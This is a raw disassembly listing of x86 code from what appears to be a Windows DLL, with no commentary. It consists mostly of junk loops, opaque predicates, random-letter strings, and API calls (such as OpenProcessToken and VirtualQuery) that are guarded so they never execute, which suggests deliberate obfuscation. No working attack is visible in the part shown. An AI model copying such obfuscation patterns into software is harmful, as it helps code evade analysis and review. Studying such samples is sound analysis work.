mov dword [ebp + eax*4 - 0xe7c], 0xb2cf
jmp 0x1000a3f8
mov dword [ebp - 0x9c], 0
jmp 0x1000a43a
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x1000a453
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x78], 0
jmp 0x1000a42d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x78], 0
jmp 0x1000a478
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x78], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x78], 2
jg 0x1000a611
mov dword [ebp - 0xbcc], 9
mov dword [ebp - 0xbc], 0
jmp 0x1000a4ac
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x1000a4c8
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xff0], 0xd60a2215
jmp 0x1000a49f
mov dword [ebp - 0xbc], 0
jmp 0x1000a4e1
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x1000a4fd
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xde4], 0xfa85f88e
jmp 0x1000a4d4
mov dword [ebp - 0xbcc], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
mov eax, dword [ebp + eax*4 - 0xe7c]
mov dword [ebp - 0x103c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
cmp dword [ebp + eax*4 - 0xe7c], 0
je 0x1000a56a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
mov dword [ebp - 0x9c4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9c4]
mov dword [ebp + eax - 0xff0], ecx
cmp dword [ebp - 0x9c4], 0
je 0x1000a56a
mov dword [ebp - 0x644], 1
jmp 0x1000a571
and dword [ebp - 0x644], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
mov eax, dword [ebp + eax*4 - 0xe7c]
mov ecx, dword [ebp - 0x644]
lea eax, [eax + ecx + 8]
cmp eax, dword [ebp - 0x7c]
je 0x1000a59d
mov dword [ebp - 0x89c], 1
jmp 0x1000a5a4
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x68], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x68]
cmp ecx, dword [ebp + eax - 0x78]
jge 0x1000a5c8
mov dword [ebp - 0x64c], 1
jmp 0x1000a5cf
and dword [ebp - 0x64c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
mov ecx, dword [ebp - 0x64c]
imul ecx, dword [ebp + eax*4 - 0xe7c]
mov dword [ebp - 0xa5c], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa5c]
mov dword [ebp + eax - 0xde4], ecx
mov eax, dword [ebp - 0xa5c]
mov dword [ebp - 0xbd4], eax
jmp 0x1000a463
mov dword [ebp - 0x68], 0xfffffffc
jmp 0x1000a1fb
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x654], 0x4d47
jge 0x1000a63c
push dword [ebp - 0xd2c]
call fcn.1003e6f6
pop ecx
jmp 0x1000a658
or dword [ebp - 4], 0xffffffff
jmp 0x1000a662
mov dword [ebp - 0x68], 0
jmp 0x1000a672
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffe9
jle 0x1000a881
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0xbe4], 0xfffffff7
mov dword [ebp - 0x7c], 0
jmp 0x1000a6a0
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x10
jne 0x1000a87c
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x2d8], 6
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x68]
jl 0x1000a6d2
mov dword [ebp - 0x8a4], 1
jmp 0x1000a6d9
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x8a4], 0
je 0x1000a6ee
mov dword [ebp - 0x9cc], 1
jmp 0x1000a6f5
and dword [ebp - 0x9cc], 0
cmp dword [ebp - 0x490], 0xfffffff7
jge 0x1000a70a
mov dword [ebp - 0xbdc], 1
jmp 0x1000a711
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1044], eax
cmp dword [ebp - 0x490], 0xb8ce2295
jb 0x1000a735
mov dword [ebp - 0x65c], 1
jmp 0x1000a73c
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
cmp eax, dword [ebp - 0x490]
jne 0x1000a762
mov dword [ebp - 0x664], 1
jmp 0x1000a769
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x9cc]
cmp eax, dword [ebp - 0x664]
je 0x1000a787
push 6
pop eax
test eax, eax
jne 0x1000a787
and dword [ebp - 0xdf8], 0
jmp 0x1000a791
mov dword [ebp - 0xdf8], 1
mov eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0x68]
jge 0x1000a7a8
mov dword [ebp - 0x8ac], 1
jmp 0x1000a7af
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x8ac], eax
jle 0x1000a7cc
mov eax, 0x4f34
test eax, eax
jne 0x1000a7cc
and dword [ebp - 0x66c], 0
jmp 0x1000a7d6
mov dword [ebp - 0x66c], 1
mov eax, dword [ebp - 0x66c]
add eax, 0x361cd5cc
mov dword [ebp - 0xbe4], eax
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x104c], eax
mov dword [ebp - 0xab0], 0xd69b12db
mov eax, dword [ebp - 0xab0]
cmp eax, dword [ebp - 0x1b8]
jle 0x1000a817
mov dword [ebp - 0x674], 1
jmp 0x1000a81e
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x68]
inc eax
cmp eax, dword [ebp - 0x674]
jg 0x1000a836
mov dword [ebp - 0x8b4], 1
jmp 0x1000a83d
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x2d8]
imul eax, dword [ebp - 0x8b4]
cmp eax, 9
ja 0x1000a861
cmp dword [ebp - 0x1b8], 0
jne 0x1000a861
and dword [ebp - 0x67c], 0
jmp 0x1000a86b
mov dword [ebp - 0x67c], 1
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x2d8], eax
jmp 0x1000a699
jmp 0x1000a66b
and dword [ebp - 0x42c], 0
jmp 0x1000a897
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0xd
jae 0x1000a94f
mov dword [ebp - 0x3d4], 0
jmp 0x1000a8bd
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 1
jge 0x1000a8d9
mov eax, dword [ebp - 0x3d4]
mov dword [ebp + eax*4 - 0x2e0], 0xfffffff8
jmp 0x1000a8b0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2e0], 0
jmp 0x1000a907
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2e0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2e0], 0xfffffff9
jge 0x1000a93a
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x1000a938
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
jmp 0x1000a8ec
xor eax, eax
mov ecx, dword [ebp - 0x42c]
mov word [ebp + ecx*2 - 0xf30], ax
jmp 0x1000a88a
mov dword [ebp - 0x458], 1
mov dword [ebp - 0x684], 0xc45c1d10
mov dword [ebp - 0x74], 5
mov dword [ebp - 0xe0], 0x166c
mov dword [ebp - 0xdfc], 8
mov dword [ebp - 0x2e8], 0
jmp 0x1000a997
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 1
jge 0x1000a9b0
mov eax, dword [ebp - 0x2e8]
mov dword [ebp + eax*4 - 0x58], 0xb401
jmp 0x1000a98a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x58], 0
jne 0x1000a9d3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x58], 0
jne 0x1000a9d3
and dword [ebp - 0x8c4], 0
jmp 0x1000a9dd
mov dword [ebp - 0x8c4], 1
mov eax, 0xab2aee5a
test eax, eax
je 0x1000a9fb
cmp dword [ebp - 0x458], 0
je 0x1000a9fb
mov dword [ebp - 0x9d4], 1
jmp 0x1000aa02
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x9d4]
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 0xedfa
jle 0x1000aa26
mov dword [ebp - 0x8bc], 1
jmp 0x1000aa2d
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x74], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x74]
cmp ecx, dword [ebp + eax - 0x58]
jge 0x1000aa51
mov dword [ebp - 0x68c], 1
jmp 0x1000aa58
and dword [ebp - 0x68c], 0
cmp dword [ebp - 0x68c], 0x7296
je 0x1000aa70
mov dword [ebp - 0xa64], 1
jmp 0x1000aa77
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0x458]
cmp dword [ebp - 0xa64], eax
jne 0x1000aa91
mov dword [ebp - 0x694], 1
jmp 0x1000aa98
and dword [ebp - 0x694], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x694]
sub ecx, dword [ebp - 0x458]
cmp ecx, dword [ebp + eax - 0x58]
jg 0x1000aabc
mov dword [ebp - 0x69c], 1
jmp 0x1000aac3
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x8c4]
cmp eax, dword [ebp - 0x69c]
jle 0x1000aadd
mov dword [ebp - 0x9dc], 1
jmp 0x1000aae4
and dword [ebp - 0x9dc], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x9dc], eax
jge 0x1000aaff
mov eax, 0xfffa
test eax, eax
je 0x1000abb5
mov dword [ebp - 0xe0], 0
jmp 0x1000ab18
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jg 0x1000abb0
mov dword [ebp - 0xd38], 0x91b76e1e
mov dword [ebp - 0x74], 0
jmp 0x1000ab3f
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jg 0x1000ab99
mov dword [ebp - 0x3dc], 0
jmp 0x1000ab5e
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 4
jge 0x1000ab7a
mov eax, dword [ebp - 0x3dc]
mov dword [ebp + eax*4 - 0x1254], 0xeb16e2c9
jmp 0x1000ab51
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp + eax*4 - 0x58]
sub eax, dword [ebp - 0xd38]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1254], eax
jmp 0x1000ab38
mov eax, dword [ebp - 0xe0]
cmp dword [ebp + eax*4 - 0x58], 0
je 0x1000abab
jmp 0x1000ab0b
jmp 0x1000ab0b
jmp 0x1000b215
mov dword [ebp - 0x1d8], 0xc57511ec
mov dword [ebp - 0x6d4], 0x2f50
mov dword [ebp - 0x84], 0
jmp 0x1000abe2
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x1000abfe
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0xac8], 0
jmp 0x1000abd5
mov dword [ebp - 0x84], 0
jmp 0x1000ac17
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1000ac33
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x460], 0xe690d922
jmp 0x1000ac0a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
mov dword [ebp - 0x1124], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xac8]
cmp ecx, dword [ebp + eax - 0x58]
jge 0x1000ac68
mov dword [ebp - 0x6a4], 1
jmp 0x1000ac6f
and dword [ebp - 0x6a4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xac8]
imul eax, dword [ebp - 0x6a4]
cmp dword [ebp - 0xe0], eax
jle 0x1000ac97
mov dword [ebp - 0x8cc], 1
jmp 0x1000ac9e
and dword [ebp - 0x8cc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xac8]
cmp eax, dword [ebp - 0x8cc]
jle 0x1000acbf
mov dword [ebp - 0xbec], 1
jmp 0x1000acc6
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x112c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d8]
cmp ecx, dword [ebp + eax - 0xac8]
jge 0x1000ad00
mov dword [ebp - 0x6ac], 1
jmp 0x1000ad07
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x6ac]
jge 0x1000ad1b
mov eax, 0x37b7
test eax, eax
je 0x1000ad41
mov byte [ebp - 0x159], 0
movzx eax, byte [ebp - 0x159]
test eax, eax
je 0x1000ad3c
push 0x180a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x1000b1c2
mov dword [ebp - 0x40], 0x32987c83
mov dword [ebp - 0xab8], 0x734b
mov dword [ebp - 0xdec], str.jzjs_ajnuyv_cdiddcf_eivuajuik_wylq_uuvzlqce_slxjxoic_zfvwyxe
cmp dword [ebp - 0xab8], 0x74c4
jle 0x1000ae18
and dword [ebp - 0x2f0], 0
jmp 0x1000ad82
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x24fe
jge 0x1000ae18
and dword [ebp - 0x40c], 0
jmp 0x1000ada8
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0x14a5
jge 0x1000ae13
and dword [ebp - 0x2f8], 0
jmp 0x1000adca
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x9ba
jge 0x1000ae11
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x40c]
shl eax, cl
mov ecx, dword [ebp - 0x2f8]
sar eax, cl
cdq
mov dword [ebp - 0xd04], eax
mov dword [ebp - 0xd00], edx
push dword [ebp - 0xd00]
push dword [ebp - 0xd04]
mov ecx, 0x1006f958
call fcn.10001c9b
jmp 0x1000adbd
jmp 0x1000ad9b
jmp 0x1000ad75
mov dword [ebp - 4], 0x13
cmp dword [ebp - 0xab8], 0x7135
jge 0x1000ae3b
mov edx, dword [ebp - 0xdec]
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x1000ae57
or dword [ebp - 4], 0xffffffff
jmp 0x1000ae61
mov dword [ebp - 0x6b4], 0x4d65
mov dword [ebp - 0xbf4], str.rnmjs_pviujuyqz_hcxpab_nbja_xbmz_vnmvgxez_xufs_eujjvcjg_jzvywqc_cynir
cmp dword [ebp - 0x6b4], 0x503c
jle 0x1000af0a
and dword [ebp - 0x3e4], 0
jmp 0x1000ae9b
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0x1e27
jge 0x1000aefc
and dword [ebp - 0x300], 0
jmp 0x1000aebd
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x7ccc
jge 0x1000aefa
mov eax, dword [ebp - 0x3e4]
sub eax, dword [ebp - 0x300]
cdq
mov dword [ebp - 0xd10], eax
mov dword [ebp - 0xd0c], edx
push dword [ebp - 0xd0c]
push dword [ebp - 0xd10]
mov ecx, 0x1006f958
call fcn.10001c9b
jmp 0x1000aeb0
jmp 0x1000ae8e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0xd50], 0xfffffff8
mov dword [ebp - 4], 0x15
cmp dword [ebp - 0x6b4], 0x4d38
jge 0x1000af37
mov edx, dword [ebp - 0xbf4]
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x1000af53
or dword [ebp - 4], 0xffffffff
jmp 0x1000af5d
mov dword [ebp - 0x394], 0
jmp 0x1000af76
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 3
jge 0x1000af92
mov eax, dword [ebp - 0x394]
mov dword [ebp + eax*4 - 0x105c], 0x7d870105
jmp 0x1000af69
mov dword [ebp - 0x40], 0x27438e21
mov eax, dword [ebp - 0x40]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xac8], eax
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x40]
jge 0x1000afbd
mov dword [ebp - 0xd44], 1
jmp 0x1000afc4
and dword [ebp - 0xd44], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xac8]
mov dword [ebp - 0x1134], eax
cmp dword [ebp - 0x40], 0
jne 0x1000afe5
cmp dword [ebp - 0x6d4], 0
je 0x1000affa
mov eax, 0x54ee
test eax, eax
je 0x1000affa
mov dword [ebp - 0x8d4], 1
jmp 0x1000b001
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x8d4], eax
je 0x1000b01f
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x1000b01f
mov dword [ebp - 0x6bc], 1
jmp 0x1000b026
and dword [ebp - 0x6bc], 0
imul eax, dword [ebp - 0x6bc], 0x4440
cmp eax, 6
jge 0x1000b041
mov dword [ebp - 0x9e4], 1
jmp 0x1000b048
and dword [ebp - 0x9e4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x9e4]
add ecx, dword [ebp + eax - 0x460]
cmp ecx, dword [ebp - 0x40]
je 0x1000b06f
mov dword [ebp - 0x6c4], 1
jmp 0x1000b076
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x40]
jle 0x1000b093
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d8]
cmp ecx, dword [ebp + eax - 0x58]
jne 0x1000b1e0
mov dword [ebp - 0x6dc], 1
jmp 0x1000b1e7
and dword [ebp - 0x6dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
cmp eax, dword [ebp - 0x6dc]
jle 0x1000b205
mov dword [ebp - 0x9ec], 1
jmp 0x1000b20c
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x8b0], 0
je 0x1000efd3
mov dword [ebp - 0xc8], 4
mov dword [ebp - 0x88], 0
jmp 0x1000b245
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 1
jge 0x1000b261
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x1144], 0xdd33
jmp 0x1000b238
mov dword [ebp - 0x88], 0
jmp 0x1000b27a
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x1000b296
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x11d4], 0x3bc4aee5
jmp 0x1000b26d
mov dword [ebp - 0xc8], 0
jmp 0x1000b2af
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jg 0x1000b50f
mov dword [ebp - 0x18c], 0x7a888ada
mov dword [ebp - 0x6f4], 0x451d77f1
mov dword [ebp - 0x18c], 0
jmp 0x1000b2e9
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jl 0x1000b50a
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0xc0c], 0xffffffff
mov dword [ebp - 0x308], 0
jmp 0x1000b323
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 3
jge 0x1000b33f
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0xeb8], 0
jmp 0x1000b316
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x1000b360
push 0
push 0
push 0xfc8
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xeb8]
add ecx, dword [ebp + eax - 0xeb8]
cmp ecx, dword [ebp - 0x18c]
jg 0x1000b38e
mov dword [ebp - 0x6fc], 1
jmp 0x1000b395
and dword [ebp - 0x6fc], 0
cmp dword [ebp - 0xc8], 0
jne 0x1000b3b0
cmp dword [ebp - 0x18c], 0
jne 0x1000b3b0
and dword [ebp - 0x6e4], 0
jmp 0x1000b3ba
mov dword [ebp - 0x6e4], 1
cmp dword [ebp - 0x6e4], 0
jg 0x1000b3cf
mov dword [ebp - 0x498], 1
jmp 0x1000b3d6
and dword [ebp - 0x498], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x498]
mov dword [ebp + eax - 0x11d4], ecx
cmp dword [ebp - 0x498], 0
je 0x1000b40e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11d4], 0
je 0x1000b40e
mov dword [ebp - 0x8ec], 1
jmp 0x1000b415
and dword [ebp - 0x8ec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xeb8]
cmp dword [ebp - 0x8ec], eax
jl 0x1000b436
mov dword [ebp - 0x6ec], 1
jmp 0x1000b43d
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x6ec], eax
jle 0x1000b457
mov dword [ebp - 0xaec], 1
jmp 0x1000b45e
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0xaec]
mov dword [ebp - 0x6f4], eax
mov eax, dword [ebp - 0xc8]
sub eax, dword [ebp - 0x6f4]
cmp eax, dword [ebp - 0xc8]
jg 0x1000b48a
mov dword [ebp - 0x8f4], 1
jmp 0x1000b491
and dword [ebp - 0x8f4], 0
cmp dword [ebp - 0x8f4], 0xc36b
jl 0x1000b4a9
mov dword [ebp - 0x9f4], 1
jmp 0x1000b4b0
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x6fc]
cmp eax, dword [ebp - 0x9f4]
jg 0x1000b4ca
mov dword [ebp - 0x704], 1
jmp 0x1000b4d1
and dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0xfffffffc
jg 0x1000b4e6
mov dword [ebp - 0x8fc], 1
jmp 0x1000b4ed
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0x8fc]
mov dword [ebp - 0x70c], eax
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0xc0c], eax
jmp 0x1000b2dc
jmp 0x1000b2a2
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x114c], eax
cmp dword [ebp - 0x18], 0x17f75960
jne 0x1000b53e
mov dword [ebp - 0xa74], 1
jmp 0x1000b545
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xa74], eax
jle 0x1000b55c
mov dword [ebp - 0x714], 1
jmp 0x1000b563
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x714]
jl 0x1000b5f9
mov dword [ebp - 0x398], 0
jmp 0x1000b58b
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 2
jge 0x1000b5a7
mov eax, dword [ebp - 0x398]
mov dword [ebp + eax*4 - 0xeac], 0xce3e63e3
jmp 0x1000b57e
mov dword [ebp - 0x18], 0
jmp 0x1000b5b7
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jg 0x1000b5d3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xeac]
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0xeac], eax
jmp 0x1000b5b0
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x1000b5f4
push 0
push 0x2114
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
jmp 0x1000b9a6
mov dword [ebp - 0x60], 6
mov dword [ebp - 0x18], 5
jmp 0x1000b610
cmp dword [ebp - 0x18], 0x2c
jl 0x1000b994
mov dword [ebp - 0x134], 0xfffffffe
mov dword [ebp - 0x3a0], 0xd580090a
mov dword [ebp - 0xa04], 0x3bdf78b1
mov dword [ebp - 0x310], 0
jmp 0x1000b651
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 1
jge 0x1000b66d
mov eax, dword [ebp - 0x310]
mov dword [ebp + eax*4 - 0xdf4], 0xfa4a603d
jmp 0x1000b644
cmp dword [ebp - 0x18], 0
je 0x1000b686
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1154], eax
cmp dword [ebp - 0x134], 0
imul eax, dword [ebp - 0x134], 0xffff
cmp eax, 0xebda
je 0x1000b6a3
mov dword [ebp - 0x904], 1
jmp 0x1000b6aa
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x904], eax
je 0x1000b6ca
cmp dword [ebp - 0x18], 0
je 0x1000b6ca
mov dword [ebp - 0x71c], 1
jmp 0x1000b6d1
and dword [ebp - 0x71c], 0
cmp dword [ebp - 0x71c], 0xfffd
je 0x1000b6e9
mov dword [ebp - 0x9fc], 1
jmp 0x1000b6f0
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x9fc]
cmp dword [ebp - 0x134], eax
jle 0x1000b710
mov dword [ebp - 0x724], 1
jmp 0x1000b717
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x724]
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x115c], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0xf34], eax
mov eax, 0x4ddc877
add eax, 0x95dbc2a4
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x18]
je 0x1000b762
mov dword [ebp - 0x914], 1
jmp 0x1000b769
and dword [ebp - 0x914], 0
cmp dword [ebp - 0x18], 0
jne 0x1000b77b
mov dword [ebp - 0x90c], 1
jmp 0x1000b782
and dword [ebp - 0x90c], 0
cmp dword [ebp - 0x90c], 0x25cf162c
jne 0x1000b79a
mov dword [ebp - 0x72c], 1
jmp 0x1000b7a1
and dword [ebp - 0x72c], 0
cmp dword [ebp - 0x72c], 5
jne 0x1000b7b6
mov dword [ebp - 0xab4], 1
jmp 0x1000b7bd
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3a0], eax
mov eax, dword [ebp - 0x3a0]
cmp eax, dword [ebp - 0xab4]
jne 0x1000b7e0
mov dword [ebp - 0x734], 1
jmp 0x1000b7e7
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x734]
cmp dword [ebp - 0x914], eax
je 0x1000b804
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1194], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xc1c], eax
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x1000b9c7
push 0x10f5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 0x14], 0x3c7730f9
mov dword [ebp - 0x48], 0x2c4475ee
mov dword [ebp - 0x70], 0xd8ac507b
mov dword [ebp - 0x328], 0x25f
mov dword [ebp - 0x119c], 0xa587
mov dword [ebp - 0x90], 0
jmp 0x1000ba09
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x1000ba22
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x30], 0xffffffff
